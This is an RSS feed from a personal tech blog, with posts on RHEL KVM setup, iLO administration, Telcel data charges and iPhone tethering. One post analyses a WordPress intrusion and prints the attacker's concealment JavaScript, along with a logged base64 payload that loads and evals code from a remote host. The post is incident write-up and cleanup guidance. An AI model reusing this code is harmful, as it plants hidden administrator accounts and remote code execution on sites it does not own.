<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>NachoTech Blog</title>
	<atom:link href="http://blog.nachotech.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://blog.nachotech.com</link>
	<description>Tech tidbits that have crunch!</description>
	<lastBuildDate>Sat, 20 Feb 2010 07:56:38 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Enabling Linux KVM virtualization on RHEL5.4</title>
		<link>http://blog.nachotech.com/?p=191</link>
		<comments>http://blog.nachotech.com/?p=191#comments</comments>
		<pubDate>Sat, 20 Feb 2010 07:56:38 +0000</pubDate>
		<dc:creator>iggy</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.nachotech.com/?p=191</guid>
		<description><![CDATA[There&#8217;s not too much documentation out there on how to go about enabling Kernel Virtual Machines on RHEL5.4 (even though it&#8217;s one of the new features of RHEL5.4).  Maybe this will help someone else.  This is the list of RPMs (from the RHEL DVD) I had to install to make it work on [...]]]></description>
			<content:encoded><![CDATA[<p>There&#8217;s not too much documentation out there on how to go about enabling Kernel Virtual Machines on RHEL5.4 (even though it&#8217;s one of the new features of RHEL5.4).  Maybe this will help someone else.  This is the list of RPMs (from the RHEL DVD) I had to install to make it work on my machine:</p>
<p>rpm -ivh etherboot-zroms-kvm-5.4.4-10.el5.x86_64.rpm<br />
rpm -ivh kmod-kvm-83-105.el5.x86_64.rpm<br />
rpm -ivh celt051-0.5.1.3-0.el5.x86_64.rpm<br />
rpm -ivh log4cpp-1.0-4.el5.x86_64.rpm<br />
rpm -ivh qpixman-0.13.3-4.el5.x86_64.rpm<br />
rpm -ivh qcairo-1.8.7.1-3.el5.x86_64.rpm<br />
rpm -ivh qffmpeg-libs-0.4.9-0.15.20080908.el5.x86_64.rpm<br />
rpm -ivh qspice-libs-0.3.0-39.el5.x86_64.rpm<br />
rpm -ivh kvm-83-105.el5.x86_64.rpm<br />
rpm -ivh cyrus-sasl-md5-2.1.22-5.el5.x86_64.rpm<br />
rpm -ivh iscsi-initiator-utils-6.2.0.871-0.10.el5.x86_64.rpm<br />
rpm -ivh bridge-utils-1.1-2.x86_64.rpm<br />
rpm -ivh kvm-qemu-img-83-105.el5.x86_64.rpm<br />
rpm -ivh gnome-python2-gnomekeyring-2.16.0-3.el5.x86_64.rpm<br />
rpm -ivh gtk-vnc-0.3.8-3.el5.x86_64.rpm<br />
rpm -ivh gtk-vnc-python-0.3.8-3.el5.x86_64.rpm<br />
rpm -ivh xen-libs-3.0.3-94.el5.x86_64.rpm<br />
rpm -ivh xen-devel-3.0.3-94.el5.x86_64.rpm<br />
rpm -ivh libvirt-0.6.3-20.el5.x86_64.rpm<br />
rpm -ivh virt-viewer-0.0.2-3.el5.x86_64.rpm<br />
rpm -ivh libvirt-python-0.6.3-20.el5.x86_64.rpm<br />
rpm -ivh python-virtinst-0.400.3-5.el5.noarch.rpm<br />
rpm -ivh virt-manager-0.6.1-8.el5.x86_64.rpm</p>
<p>Then I ran these commands:</p>
<p>chkconfig &#8211;levels 2345 haldaemon on<br />
service haldaemon start</p>
<p>Later, to get convirt running, I had to install these additional packages:</p>
<p>kernel-xen-2.6.18-164.el5<br />
xen-3.0.3-94.el5<br />
gpg-pubkey-32a349c9-493c185a<br />
socat-1.6.0.1-1.el5.rf<br />
tunctl-1.5-2.el5<br />
python-crypto-2.0.1-13.1.el5.kb.1<br />
python-paramiko-1.7.4-1.el5<br />
convirt-1.1-1.fedora</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.nachotech.com/?feed=rss2&amp;p=191</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Internet Telcel Amigo 3G Scam</title>
		<link>http://blog.nachotech.com/?p=155</link>
		<comments>http://blog.nachotech.com/?p=155#comments</comments>
		<pubDate>Wed, 11 Nov 2009 00:21:00 +0000</pubDate>
		<dc:creator>iggy</dc:creator>
				<category><![CDATA[Telcel]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[hack]]></category>

		<guid isPermaLink="false">http://blog.nachotech.com/?p=155</guid>
		<description><![CDATA[
¿Quién es tu verdadero amigo?
Recently, I became a Telcel Amigo Plan customer, and one of the reasons was that they offer the ability to purchase packages of Internet service on a daily, weekly or monthly basis.  I don&#8217;t need a full month of service, just occasional use of 3G when I&#8217;m away from my [...]]]></description>
			<content:encoded><![CDATA[<p><img src="images/no-amigo.jpg" alt="no amigo!" /></p>
<h2>¿Quién es tu verdadero amigo?</h2>
<p>Recently, I became a Telcel Amigo Plan customer, and one of the reasons was that they offer the ability to purchase packages of Internet service on a daily, weekly or monthly basis.  I don&#8217;t need a full month of service, just occasional use of 3G when I&#8217;m away from my WIFI network.  So this sounded perfect to me &#8212; I could just order the &#8220;Internet 1 dia&#8221; package to get 24 hours or 100MB of 3G Internet access for just $49.00 MXN pesos.  Well, life is only perfect in paradise&#8230;</p>
<p><span id="more-155"></span></p>
<p>After the 24 hours (or 100MB) was used, I would get a text message from Telcel saying &#8220;Tu servicio de Internet Amigo 1 dia ha vencido. Te invitamos a renovarlo para continuar con el servicio.&#8221;   Translated, this says that the 1 day plan has finished and they invite me to renew in order to continue the service.  I just wanted one day of service, so I do not &#8220;renew&#8221;.<br />
<img src="images/internet-amigo-texts.jpg" alt="text msgs from Amigo Internet" /><br />
Mi Amigo is very friendly, right?  Well, not so much&#8230;</p>
<p>Recently I noticed that my Amigo credit kept draining down to zero, even though I was not making phone calls.  I discovered by accident that my iPhone, when out of range of WIFI, was still accessing the Internet somehow (even though the Telcel Amigo Internet 1 day plan had expired.)  This &#8216;behind the scenes&#8217; Internet access by my iPhone (even though I had disabled Push Email AND 3G) was using up all of my Amigo credit!</p>
<p><h2>Telcel&#8217;s Secret Profit Machine</h2>
<p>The dark secret that Telcel neglects to tell their customers is that after you purchase one of these &#8220;Paquetes Internet Amigo&#8221; plans, that your phone is ever-after granted access to the Internet at any time, and if you&#8217;re not under a plan, they will charge you $0.04 MXN per KB, or $40.96 per MB!  This must be a major source of income for Telcel, since user&#8217;s will not be aware of it, and it is extremely difficult to get a list of all the charges they make to an Amigo account.  Their web portal only shows your current balance (saldo) at any time and does not show any details.</p>
<p>A Telcel rep shared the following text from an internal Telcel document describing these extra charges after an Internet plan expires:</p>
<blockquote><p>&#8220;En caso de que el usuario se encuentre navegando y se cumpla el periodo de suscripción del paquete de navegación contratado, se direccionala (sic) a una pagina Web alterna en donde se le indicara al cliente que a finalizado su suscripción y que si decide seguir navegado se le empezara a cobrar la Tarifa LIBRE Bajo Demanda de $0.04 IVA incluido del 15% y 10% por Kilobyte o fracción de Navegación a Nivel Nacional.&#8221;</p></blockquote>
<p>Telcel should disclose this to their Amigo customers in their &#8220;Servicios 3G&#8221; brochure, but alas, like many businesses in Mexico, they do not tell the full truth.</p>
<p><h2>So, How Do I Keep Telcel From Stealing My Credit?</h2>
<p>The iPhone has a setting to disable 3G, so you would think that would keep it from using the Internet with Telcel, but it does not.  Unfortunately, the iPhone will switch to EDGE or GPRS and will continue to use up your Amigo credit.</p>
<p>Since the iPhone has no option to turn off EDGE and GPRS, you will need to disable the Telcel APNs to be certain you won&#8217;t be charged for Internet access when you&#8217;re away from free WIFI.</p>
<p>In my case, I have the iPhone 3.1.2 firmware with blackra1n and sn0w, and my APNs are editable on the iPhone.  When you go to Settings&#8230;  General&#8230;  Network&#8230;  Cellular Data Network&#8230;, you will see the following screen.  I have added the &#8220;XXX&#8221; after the APNs and Username fields (for both Data and MMS).</p>
<p><img src="images/disabled-apns.jpg" alt="disabled telcel APNs" /></p>
<p>Changing the APN fields from &#8220;internet.itelcel.com&#8221; to &#8220;internet.itelcel.comXXX&#8221; and the Username from &#8220;webgprs&#8221; to &#8220;webgprsXXX&#8221; has effectively disabled all GPRS, EDGE and 3G network access.  It also allows me to easily revert back to the original settings when I really DO want to use Telcel&#8217;s 3G Internet service.</p>
<p>I&#8217;m not sure if the Username change is necessary or not, but I did both just to be safe.  Hopefully this helps someone else out there who is trying to save their money.</p>
<p>- Iggy</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.nachotech.com/?feed=rss2&amp;p=155</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>WordPress Blog PermaLinks Hacked by &#8220;ElijahHastings65&#8243;!</title>
		<link>http://blog.nachotech.com/?p=125</link>
		<comments>http://blog.nachotech.com/?p=125#comments</comments>
		<pubDate>Sun, 06 Sep 2009 15:24:40 +0000</pubDate>
		<dc:creator>iggy</dc:creator>
				<category><![CDATA[wordpress]]></category>
		<category><![CDATA[hack]]></category>

		<guid isPermaLink="false">http://blog.nachotech.com/?p=125</guid>
		<description><![CDATA[This morning, I discovered that all of my permalinks (e.g. http://blog.nachotech.com/?p=119) were broken. When the permalinks were used, they would redirect to a URL that was partially correct, but had some extra code added to the end. Here’s what I would see on the end of the URLs:
/wordpress %&#38;evalbase64_decode_SERVERHTTP_REFERER.+&#38;%/
This seems harmless, but it breaks all [...]]]></description>
			<content:encoded><![CDATA[<p>This morning, I discovered that all of my permalinks (e.g. http://blog.nachotech.com/?p=119) were broken. When the permalinks were used, they would redirect to a URL that was partially correct, but had some extra code added to the end. Here’s what I would see on the end of the URLs:</p>
<blockquote><p><code>/wordpress %&amp;evalbase64_decode_SERVERHTTP_REFERER.+&amp;%/</code></p></blockquote>
<p>This seems harmless, but it breaks all the permalinks (which is the main way people visit my site, since that’s what Google shows.)<br />
<span id="more-125"></span><br />
Your users will see an HTTP 400 BAD REQUEST error saying “Your browser sent a request that the server could not understand” like this:</p>
<p><img src="http://blog.nachotech.com/pics/HTTP400Error.jpg" alt="HTTP 400 BAD REQUEST" /></p>
<p>I’ve done a lot of searching on the Internet for solutions, but haven’t found a good description of this particular hack yet, and no confirmation that this vulnerability is fixed in WordPress 2.8.4. However, here are the pertinent threads I have found:</p>
<p><a href="http://www.journeyetc.com/2009/09/04/wordpress-permalink-rss-problems/">http://www.journeyetc.com/2009/09/04/wordpress-permalink-rss-problems/</a><br />
<a href="http://wordpress.org/support/topic/307518?replies=16">http://wordpress.org/support/topic/307518?replies=16</a><br />
<a href="http://wordpress.org/support/topic/297639">http://wordpress.org/support/topic/297639</a></p>
<p>I have also found this page to be helpful, although it doesn’t describe this particular hack:<br />
<a href="http://ocaoimh.ie/did-your-wordpress-site-get-hacked/">http://ocaoimh.ie/did-your-wordpress-site-get-hacked/</a></p>
<p>As you can read in the above threads, the hacker (or the hacker’s bot-net) inserts a new Administrator user in your blog using SQL injection. If you look at your wp-admin’s Users page, you’ll see that the count of Administrator role users is one more than you had before. In my case, it showed “<strong>Administrator (2)</strong>” which indicates there are two administrator users. However, this new user added by the hacker has a clever First Name that includes some javascript to hide the user from the page. So I only saw 1 user in the list of Administrator users, not the 2 that are indicated.</p>
<hr /><strong>HOW TO FIND AND DELETE THE HIDDEN ADMINISTRATOR</strong><br />
<hr />
<p>To find the hidden user, go to the /wp-admin/users.php page and click the link near the top of the page to view only Administrators. The page rendered in the browser will not show the hidden administrator, but you can “view source” of this page, and you’ll find the additional username somewhere in the HTML. Search for &#8220;<strong>tr id</strong>&#8220;.  The key thing to find is the user id (e.g. &#8220;user-123&#8243;), which then can be used with the following URL, substituting the hacker’s user id (e.g. &#8220;123&#8243;) for <strong>NNN</strong>:</p>
<blockquote><p><code>http://[your site URL here]/wp-admin/user-edit.php?user_id=NNN</code></p></blockquote>
<p>Once you’re in the page to edit the user, you can change its role back to “Subscriber” and delete the bogus ‘first name’ field. (Also you’ll have to insert a bogus email address so that you can save your changes.) After saving the changes, return to the normal user list, and select this user and delete it.</p>
<p><b>NOTE:</b> there are many more steps you’ll need to do in order to make sure your WordPress site is clean. Please consult <a href="http://codex.wordpress.org/FAQ_My_site_was_hacked">My site was hacked FAQ</a> for more instructions.</p>
<hr /><strong>HOW THE HACKER HID THE NEW ADMINISTRATOR ACCOUNT</strong><br />
<hr />
<p>In my case, the hacker’s nickname in my WordPress user list was ElijahHastings65. Here is the clever “First Name” field that ended up hiding the hacker in the user list:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;input id=&quot;first_name&quot; name=&quot;first_name&quot; type=&quot;text&quot; value=&quot;...
&nbsp;
&amp;lt;div id=&amp;quot;user_superuser&amp;quot;&amp;gt;&amp;lt;script ^@^@^W@language=&amp;quot;JavaScript&amp;quot;&amp;gt;
var setUserName = function(){
        try{
                var t=document.getElementById(&amp;quot;user_superuser&amp;quot;);
                while(t.nodeName!=&amp;quot;TR&amp;quot;){
                        t=t.parentNode;
                };
                t.parentNode.removeChild(t);
                var tags = document.getElementsByTagName(&amp;quot;H3&amp;quot;);
                var s = &amp;quot; shown below&amp;quot;;
                for (var i = 0; i &amp;lt; tags.length; i++) {
                        var t=tags[i].innerHTML;
                        var h=tags[i];
                        if(t.indexOf(s)&amp;gt;0){
                                s =(parseInt(t)-1)+s;
                                h.removeChild(h.firstChild);
                                t = document.createTextNode(s);
                                h.appendChild(t);
                        }
                }
                var arr=document.getElementsByTagName(&amp;quot;ul&amp;quot;);
                for(var i in arr) if(arr[i].className==&amp;quot;subsubsub&amp;quot;){
                        var n=/&amp;gt;Administrator ((d+))&amp;lt;/gi.exec(arr[i].innerHTML);
                        if(n[1]&amp;gt;0){
                                var txt=arr[i].innerHTML.replace(/&amp;gt;Administrator ((d+))&amp;lt;/gi,&amp;quot;&amp;gt;Administrator (&amp;quot;+(n[1]-1)+&amp;quot;)&amp;lt;&amp;quot;);
        arr[i].innerHTML=txt;
        }
    }
          }catch(e){};
     };
     addLoadEvent(setUserName);
&amp;lt;/script&amp;gt;&amp;lt;/div&amp;gt;&quot; /&gt;</pre></div></div>

<hr /><strong>HOW TO FIND WHERE THE BOT ORIGINATED (MAYBE)</strong><br />
<hr />
<p>In my webserver’s log files I found more clues to when the attack occurred and from where it originated (IP Address 209.59.107.72):</p>
<p><code><br />
209.59.107.72 - - [03/Sep/2009:19:49:29 -0700] “POST blog.nachotech.com/wp-login.php HTTP/1.1″ 302 5 “http://blog.nachotech.com/wp-login.php” “Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20060601 Firefox/2.0.0.10 (Ubunen-USgy)”</code></p>
<p><code>209.59.107.72 - - [03/Sep/2009:19:49:39 -0700] “POST blog.nachotech.com/wp-admin//options-permalink.php HTTP/1.1″ 200 10158 “http://blog.nachotech.com/wp-admin//options-permalink.php” “Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20060601 Firefox/2.0.0.10 (Ubunen-USgy)”</p>
<p></code></p>
<p><code>209.59.107.72 - - [03/Sep/2009:19:49:43 -0700] “POST blog.nachotech.com/xmlrpc.php HTTP/1.1″ 200 204 “JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdFbGlqYWhIYXN0aW5nczY1JzskdXNlcl9wYXNzPSdPcTJ4N0RRSClQUkAnO2V2YWwoZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saW5rcy53ZWJ3b3JkcHJlc3MuY24vZGF0YS9zaG9ydHBhcnQyLnR4dCcpKTtleGl0Ow==” “Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20060601 Firefox/2.0.0.10 (Ubunen-USgy)”<br />
</code></p>
<p>I suspect that it is this last line (the POST with the “JHJvbGU9J2FkbW…” contents) that is responsible for the PermaLink hack. However, I have no confirmation of this yet. <strong>If anyone has any more info, please email me at <span class="mh-plaintext">i<a href='http://mailhide.recaptcha.net/d?k=01ceaNFEGCGmAHzsoalnDLEA==&amp;c=JPw8LtW9wodVbKVVSqykn8TB1oLI9XLw-Ghd1T9q5zk=' onclick="window.open('http://mailhide.recaptcha.net/d?k=01ceaNFEGCGmAHzsoalnDLEA==&amp;c=JPw8LtW9wodVbKVVSqykn8TB1oLI9XLw-Ghd1T9q5zk=', '', 'toolbar=0,scrollbars=0,location=0,statusbar=0,menubar=0,resizable=0,width=500,height=300'); return false;" title="Reveal this e-mail address">...</a>@nachotech.com</span> or leave a comment below</strong>.</p>
<p>Here is a hex dump of this suspicious payload to help others who might be searching for clues:</p>
<p><code><br />
0000000 4a 48 4a 76 62 47 55 39 4a 32 46 6b 62 57 6c 75<br />
0000010 61 58 4e 30 63 6d 46 30 62 33 49 6e 4f 79 52 31<br />
0000020 63 32 56 79 58 32 78 76 5a 32 6c 75 50 53 64 46<br />
0000030 62 47 6c 71 59 57 68 49 59 58 4e 30 61 57 35 6e<br />
0000040 63 7a 59 31 4a 7a 73 6b 64 58 4e 6c 63 6c 39 77<br />
0000050 59 58 4e 7a 50 53 64 50 63 54 4a 34 4e 30 52 52<br />
0000060 53 43 6c 51 55 6b 41 6e 4f 32 56 32 59 57 77 6f<br />
0000070 5a 6d 6c 73 5a 56 39 6e 5a 58 52 66 59 32 39 75<br />
0000080 64 47 56 75 64 48 4d 6f 4a 32 68 30 64 48 41 36<br />
0000090 4c 79 39 73 61 57 35 72 63 79 35 33 5a 57 4a 33<br />
00000a0 62 33 4a 6b 63 48 4a 6c 63 33 4d 75 59 32 34 76<br />
00000b0 5a 47 46 30 59 53 39 7a 61 47 39 79 64 48 42 68<br />
00000c0 63 6e 51 79 4c 6e 52 34 64 43 63 70 4b 54 74 6c<br />
00000d0 65 47 6c 30 4f 77 3d 3d<br />
</code></p>
<hr /><strong>HOW TO KEEP THIS HACK FROM HAPPENING</strong><br />
<hr />
<p>For now, I have simply renamed my xmlrpc.php file so that it is deactivated.  I have <a href="http://wordpress.org/development/2009/09/keep-wordpress-secure/">read</a> that the latest Wordpress version 2.8.4 does not have this vulnerability, but I haven&#8217;t had time to update yet (thanks to GoDaddy&#8217;s slow response time making hosting changes).</p>
<p><b>UPDATE 9/6/9:</b>  I have manually upgraded Wordpress to 2.8.4 (Wordpress says it is not vulnerable to this attack).  So far, my PermaLinks are working.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.nachotech.com/?feed=rss2&amp;p=125</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Opening firewall ports for iLO</title>
		<link>http://blog.nachotech.com/?p=119</link>
		<comments>http://blog.nachotech.com/?p=119#comments</comments>
		<pubDate>Thu, 20 Aug 2009 20:42:22 +0000</pubDate>
		<dc:creator>iggy</dc:creator>
				<category><![CDATA[BladeSystem]]></category>
		<category><![CDATA[Operations]]></category>
		<category><![CDATA[ProLiant]]></category>
		<category><![CDATA[System Administration]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[iLO]]></category>
		<category><![CDATA[blades]]></category>
		<category><![CDATA[firewall]]></category>

		<guid isPermaLink="false">http://blog.nachotech.com/?p=119</guid>
		<description><![CDATA[If you want to access an iLO behind a firewall, there are some TCP ports that need to be opened on the firewall to allow all iLO traffic to flow through.  Here is a list of the default ports used by iLO, but these can be modified on iLO&#8217;s Administration&#8230; Access&#8230; Services&#8230; tab.


ILO FUNCTION  [...]]]></description>
			<content:encoded><![CDATA[<p>If you want to access an iLO behind a firewall, there are some TCP ports that need to be opened on the firewall to allow all iLO traffic to flow through.  Here is a list of the default ports used by iLO, but these can be modified on iLO&#8217;s Administration&#8230; Access&#8230; Services&#8230; tab.</p>
<p><span id="more-119"></span></p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">ILO FUNCTION           SOCKET TYPE PORT NUMBER 
---------------------- ----------- -----------
Secure Shell (SSH)         TCP        22
Remote Console/Telnet      TCP        23
Web Server Non-SSL         TCP        80
Web Server SSL             TCP        443
Terminal Services          TCP        3389
Virtual Media              TCP        17988
Shared Remote Console      TCP        9300
Console Replay             TCP        17990
Raw Serial Data            TCP        3002</pre></div></div>

<p>Here&#8217;s a screenshot of the iLO configuration page for these port numbers:<br />
<img src="http://blog.nachotech.com/images/ilo-services.png" alt="ilo-services" border=0/></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.nachotech.com/?feed=rss2&amp;p=119</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>iPhone 3GS Tethering with Telcel Amigo 3G Plan in Mexico</title>
		<link>http://blog.nachotech.com/?p=100</link>
		<comments>http://blog.nachotech.com/?p=100#comments</comments>
		<pubDate>Sun, 16 Aug 2009 04:07:10 +0000</pubDate>
		<dc:creator>iggy</dc:creator>
				<category><![CDATA[Telcel]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[3G]]></category>

		<guid isPermaLink="false">http://blog.nachotech.com/?p=100</guid>
		<description><![CDATA[
UPDATE! 3.1 firmware breaks this &#8211; see end of the article for more info
The iPhone 3GS works well with Telcel&#8217;s Amigo 3G plan (see my other post on this topic) in Mexico. I wanted to take things a step further and see if I could tether my iPhone to my laptop, which would let my [...]]]></description>
			<content:encoded><![CDATA[<p><img src="pics/telcel-3g-tethering-banner.jpg" alt="Telcel 3G tethering on iPhone" /></p>
<p><strong>UPDATE! 3.1 firmware breaks this &#8211; see end of the article for more info</strong></p>
<p>The iPhone 3GS works well with Telcel&#8217;s Amigo 3G plan (see my other post on this topic) in Mexico. I wanted to take things a step further and see if I could tether my iPhone to my laptop, which would let my laptop use the iPhone&#8217;s 3G internet connection. This would be great for the times when my DSL link goes down or there are no WiFi connections nearby. I discovered that this modification is pretty simple.  You just need to use a custom carrier file (.ipcc) that &#8220;turns on&#8221; the tethering feature for Telcel.  No need for Cydia or any type of snow!  ;-)</p>
<p><span id="more-100"></span><br />
<strong>Warning!</strong><br />
<br />
While this procedure worked perfectly for me, it may not work for you. There are no guarantees here, and if you continue, you are accepting all responsibility for your iPhone.  Nothing should break, and if it does, a simple Restore of your iPhone should fix it.<br />
<br />
<strong>Prerequisites</strong></p>
<ul>
<li>iPhone 3GS [may work for 3G, but I haven't tested it]</li>
<li>3.0 firmware [tested] or 3.01.  3.1 probably doesn&#8217;t work.</li>
<li>iTunes 8.2.1 (6) (for Mac) [tested]</li>
<li>iTunes 8.2 (for Windows) [not tested]</li>
<li>Telcel Amigo GSM SIM card, activated, with at least 100 pesos of credit.</li>
<li>iPhone already working with Telcel 3G (unlocked if not purchased from Telcel)</li>
</ul>
<p>
<strong>Instructions</strong></p>
<ol>
<li><i>Enable Carrier Testing in iTunes 8.2:</i>
<ul>
<li>Exit iTunes, if it is currently running.
</li>
<li>On the Macintosh, open the Terminal app and execute this command:<br />
<code>defaults write com.apple.iTunes carrier-testing -bool TRUE</code>
</li>
<li>On a PC, open a command prompt window (cmd) and type this command (with the quotes):<br />
<code>"%ProgramFiles%\iTunes\iTunes.exe" /setPrefInt carrier-testing 1</code>
</li>
<li>Evidently (see Juan&#8217;s comment below) with iTunes 9.0 on the PC, the syntax is a bit different:<br />
<code>"%ProgramFiles%\iTunes\iTunes.exe" /setPrefInt carrier-testing -bool TRUE</code>
</ul>
<p></p>
<li><i>Download my custom carrier file:</i>
<ul>
<li>I have created a modified carrier file for the iPhone 3GS which enables tethering on Telcel. Download this file (<a href="files/Telcel_mx.ipcc">Telcel_mx.ipcc</a>) to your computer.  If you would like to see an XML dump of the carrier.plist that I&#8217;m using, click <a href="files/Telcel_mx.xml">here</a>.</li>
</ul>
</li>
<p></p>
<li><i>Update the carrier into your iPhone:</i><br />
Plug your iPhone into your computer&#8217;s USB port.  Open iTunes and select your iPhone on the left panel.  In the Summary pane, hold down either the <i>Shift</i> key (on Windows) or the <i>Option</i> key (on a Mac) and press the &#8220;Check for Updates&#8221; or &#8220;Update&#8221; button.  In the Open dialog box, select the Telcel_mx.ipcc file that you downloaded above.  This will transfer the new ipcc file to your iPhone to enable tethering.
</li>
<p></p>
<li><i>Reboot the iPhone:</i><br />
After the update is complete (it should only take a few seconds) you now need to power off your iPhone and then turn it back on.</li>
<p></p>
<li>Enable Tethering in iPhone Settings:<br />
<img src="pics/tether-screen.jpg" alt="Enabling Tether Setting" /><br />
After enabling the setting on your iPhone, follow the instructions shown to connect via USB or Bluetooth.  After establishing a tethering connection, you should now see the blue &#8220;Internet Tethering&#8221; bar at the top of the iPhone&#8217;s display:<br />
<img src="pics/telcel-3g-tethering.jpg" alt="Telcel 3G iPhone 3GS Tethering" />
</li>
</ol>
<p><strong>Tethering Performance</strong></p>
<p>Once tethered to my laptop, the performance was pretty good, but not as fast as on the iPhone itself. Of course, 3G performance depends on a lot of factors, including how many other people are using 3G in your area, your telco, the website you&#8217;re visiting, etc.  It is also &#8216;choppy&#8217; &#8211; sometimes fast, sometimes slow.  However, overall it seemed slower on the laptop than on the iPhone itself.</p>
<p>Latency over 3G with iPhone tethering (a minimum of about 250ms) was quite a bit greater than a DSL connection (a minimum of about 60ms).  This will make tethering unacceptable for some applications (like VOIP).</p>
<p>For speed testing, I used the DSL reports <a href="http://dslreports.com/speedtest/">website</a> and iPhone <a href="http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=293624527&#038;mt=8">application</a>.  For local speed testing, I used Telmex&#8217;s website: <a href="http://medidor.prodigy.com.mx/">http://medidor.prodigy.com.mx/</a>.</p>
<p><strong>UPDATE: 17 Sept 2009:</strong></p>
<p>According to the <a href="http://blog.iphone-dev.org/">iPhone Dev Team</a>, &#8220;As of 3.1, the *.ipcc carrier bundles are signed, and you can no longer force tethering capability simply by crafting your own bundle.&#8221;  So, evidently, my custom carrier file above probably will not work with 3.1 firmware.  Don&#8217;t upgrade to 3.1 if you want to use tethering.</p>
<p><strong>UPDATE: 10 Nov 2009:</strong></p>
<p>With the 3.1.2 firmware, followed by blackra1n and sn0w, it appears that the tethering hack still works with Telcel according to the user comments below.  I have also seen that the Tethering option is still available, although I have not specifically tested Internet access on Telcel&#8217;s network.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.nachotech.com/?feed=rss2&amp;p=100</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>How to Kill iLO 2 Remote VSP Connections</title>
		<link>http://blog.nachotech.com/?p=92</link>
		<comments>http://blog.nachotech.com/?p=92#comments</comments>
		<pubDate>Sun, 03 May 2009 01:30:44 +0000</pubDate>
		<dc:creator>iggy</dc:creator>
				<category><![CDATA[BladeSystem]]></category>
		<category><![CDATA[Operations]]></category>
		<category><![CDATA[ProLiant]]></category>
		<category><![CDATA[System Administration]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[blades]]></category>
		<category><![CDATA[iLO]]></category>
		<category><![CDATA[serial console]]></category>

		<guid isPermaLink="false">http://blog.nachotech.com/?p=92</guid>
		<description><![CDATA[A new feature crept in unannounced in the recent iLO 2 v1.77 firmware update from HP: You can now kill / terminate Virtual Serial Port (VSP) sessions that are open or hung. This is a very useful when you need to connect to the VSP but you (or someone else) is already connected from another [...]]]></description>
			<content:encoded><![CDATA[<p>A new feature crept in unannounced in the recent iLO 2 v1.77 firmware update from HP: You can now kill / terminate Virtual Serial Port (VSP) sessions that are open or hung. This is a very useful when you need to connect to the VSP but you (or someone else) is already connected from another location. (The iLO Virtual Serial Port only allows a single connection at any given time.) <span id="more-92"></span></p>
<p>You will know you need this command when you see this error message trying to connect to the VSP:</p>
<blockquote><p><em>Requested service is unavailable, it is already in use by a different client.</em></p></blockquote>
<p>This new command is available in the iLO&#8217;s command line interface (CLI) using the SMASH CLP protocol, which is typically accessed using Telnet or SSH.</p>
<p>The new command to terminate VSP sessions is:</p>
<blockquote><p><code>stop /system1/oemhp_vsp1</code></p></blockquote>
<p>For reference, here are the two methods of starting VSP sessions in the iLO CLI: </p>
<blockquote><p><code>vsp</code><br />
 or<br />
 <code>start /system1/oemhp_vsp1</code></p></blockquote>
<p>Before now, the only way to clear a hung VSP session was to reboot the iLO (a very intrusive action that takes 30-60 seconds), so this is a major improvement in usability of Virtual Serial Port sessions.</p>
<p>P.S. Here&#8217;s a link to the HP firmware page for iLO 2: <a href="http://h20180.www2.hp.com/apps/Nav?h_pagetype=s-002&#038;h_lang=en&#038;h_cc=us&#038;h_product=1135772&#038;h_client=S-A-R163-1&#038;h_page=hpcom&#038;lang=en&#038;cc=us&#038;submit=Go%20%C2%BB" target="_blank">iLO 2 Firmware</a> (opens in a new window).</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.nachotech.com/?feed=rss2&amp;p=92</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Interpreting (decoding) NMI sources from IML log messages</title>
		<link>http://blog.nachotech.com/?p=81</link>
		<comments>http://blog.nachotech.com/?p=81#comments</comments>
		<pubDate>Sat, 25 Apr 2009 06:04:30 +0000</pubDate>
		<dc:creator>iggy</dc:creator>
				<category><![CDATA[BladeSystem]]></category>
		<category><![CDATA[Operations]]></category>
		<category><![CDATA[ProLiant]]></category>
		<category><![CDATA[health]]></category>
		<category><![CDATA[HP BladeSystem]]></category>
		<category><![CDATA[hp proliant]]></category>
		<category><![CDATA[iLO]]></category>

		<guid isPermaLink="false">http://blog.nachotech.com/?p=81</guid>
